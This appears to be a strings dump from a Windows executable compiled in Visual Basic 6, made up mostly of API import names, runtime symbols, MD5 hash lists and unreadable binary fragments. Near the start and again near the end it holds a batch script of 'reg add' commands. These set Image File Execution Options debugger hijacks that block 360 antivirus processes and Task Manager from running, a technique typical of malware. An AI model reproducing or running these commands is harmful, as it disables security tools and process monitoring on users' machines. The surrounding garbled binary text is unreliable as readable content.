reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
764B151C355885023EAC63AD4EC72A66
A7A45284C021949FCB12F82E84ADE835
E0C667944D08611BAC6BD60DA4B4BB0F
3308E37EB65C4607B66E6EEB5889FFDF
E5D714EB8CEEB6F7B4E5FD24529AD735
104EC85D1E0D2CD742D62377C0EBA714
466F56C49E765D6FCF792C14F504D5A9
87D594AA52DD916B71E104ADD235928B
386FB518756F06BA1AEBDA0B5E6EBF8C
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt 9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]b X
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u 9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YY hPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YY hPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YY hPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YY hPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YY h
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9 t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9 M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
t u$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht<
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht<
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w @
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s 9~(~
j Yj Y+
VWj Y}
Pj Y+3BR0H%
Yj ^+3B
QP4YYu
<+3E_^[
|3@]3]
SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3j Y+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X }qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
I x@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
216E0CC0CE2B89F5744D630BFDA1DBAD
B7E2F86F3BC6F19BD467E1B3C5D0C0C7
4EB232B783B92214BFC1E08897E4C5CE
CE63E9A35A0D2BDAD7B48E3561727A02
B508A6C9059AA00580922CF5BD7754BD
BA9C044EA2FF3E936B67F8AF6A94969B
37EF691EC8CE873FC977FFC2626E5A49
82113C8CC75CAA022DBDE73DEAF63B1F
82711FA4AF9AE9579FAC15CDE8ED0A64
9BC32D3AD026393FA15723C0F6B57F54
61863D861E052492CB945DBDAD4C67F3
CD3A246CDE42E41F281EC5AF3BEFAC44
51F4BBA896807318CD3428DD59F3D1B0
90ABB3C418A151B911312B306D7394D2
0786361F7F8431C36CF98D9F7236C71C
2FC316E5A3CF0BACC8C815C34B511FAA
9CF16186F2111796ACD41CE44F5C4CF3
663B473799ED70DFE9764BFCE9FC333A
2EBAFDC2E80AD6630B43C8BDDF79589F
8419BE08503F4EB9525A28000C700C77
5CC2513DB859EF939BA9DA46FE758E57
4A700285BB7DA4A9480F4234A9B2BA26
77B28852B0D5C3029429A72C7A740A09
0CA5C53E671714DC954A989693DECB31
72E9BA4595334303988DAC561CF4F483
7408E57A355BA4C84F03DC5CEFF7B60B
8C2446B50A55897D911C1C9462F969DD
E2FFB58E5E9D960C84AB3A968C5172EC
DD11FC6BBDC252CC84235DBDA8FE5A8E
115A5040F0229D26B6EE1D18080389C7
B28FE16724FA7148E870B1DB78C075E6
B1C074021BF9B9198931874E3543B355
542718393A3B66D642F759E9B6C511AF
115EB751251FC694ADE22638A3588946
0DD696271565626CCCFC6D84D57CA619
93F9A9818BBA389594D54379AEC97EEB
627CFA73B4B9CC79D0BC4755ABB46C8B
84BDA401D7DFB16F7B8E21D64B185F67
0F4D48F3E425D0281E0F6BF0A242C908
0E7DC75BE814042EE638D738FF47D58C
788606E2FC0051D25C8B3FDABF5545AB
07ABB01629E0C79EB78AE009395911EB
4F0DC4376E47CEB337A2B1FBC4DAFA20
3AA62EEE583C83FCCFA99917691FDFF2
7C4988544E19857988A014A952728E0B
4864B2A5D6222996DF07025B6BB8239E
593FF1077E1D2EFAC995FBDD710A60E4
73808D619752E0A4A441516B85E0D9A8
F93C25F4E9F6F44E58C70AEBE5279FEA
B11EB14DE3F4001E9E92A7CA6B737805
FDE6433136447CB527D2398579EDAF67
0B36EBFB012659E2947810CD9B36314A
9A49676D5B637BDB584C9809AC5E7EF8
5EADA178DC7FC1080435202EAF58FC24
B8B6E53992728878A3AACC8C428680B5
7320B6D41804A978057ED2047512DCF9
0E6C0AFF32B338A608E54F33BA6F8B64
74C7E528CAC7490C93B8884520C6701E
09E63F3F53A9ED519AF74A8DD14CAA5C
B113A644B23F9B06A76366C8A681B174
2F63A5A40578B388DD81DE7F119B10EC
580ECFA46198360A23ABB224E0604A8E
F5F01F8BE9C0407DDE69882E70392957
5341545A53AA611F4A7F17B0C10AD041
A8944996B57CD2C2B15A801BA45EE273
2CEE4FE0C8CBF42544F12BB23F2FDEC9
F9A0622FAB2E67FE152788565D5683B4
E8EC3C0CA9692A9DA7B8FABAC6996D5F
6179F91219659C51DED162CF20300B22
CDEF383CBBDE2F64BFD9E1FC23800BCD
C0532F7219C937A12322F8B4CA76C2A5
E1B092B5DFD3AD41A234802D0D4FFA17
14F619EFDAFADE0A7BF67AC17D2396F7
F385B8A93584436B4AAF466927E55A59
AD8D93A645C955207E1FAC1AC9523D77
40FE02EDD1A99D02A57CBBF8AB46CF3F
1C57F23E081D55A8B796FCB0D7A472C6
B7FFE48B7904142F7095C419442096BC
9BD60A4AB093FE4C6C57F13BD37180A4
6FD5BE841F37ED11C340D6F6FF1DE445
90B9682EEBD5DAB7905CABE5A0228FB1
47330A81332FFBBB2E7247A96976A400
77A5B97880D2EB68DDF27F64B45F693E
5696A1F985FCDBF48A54F0A72B84A202
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
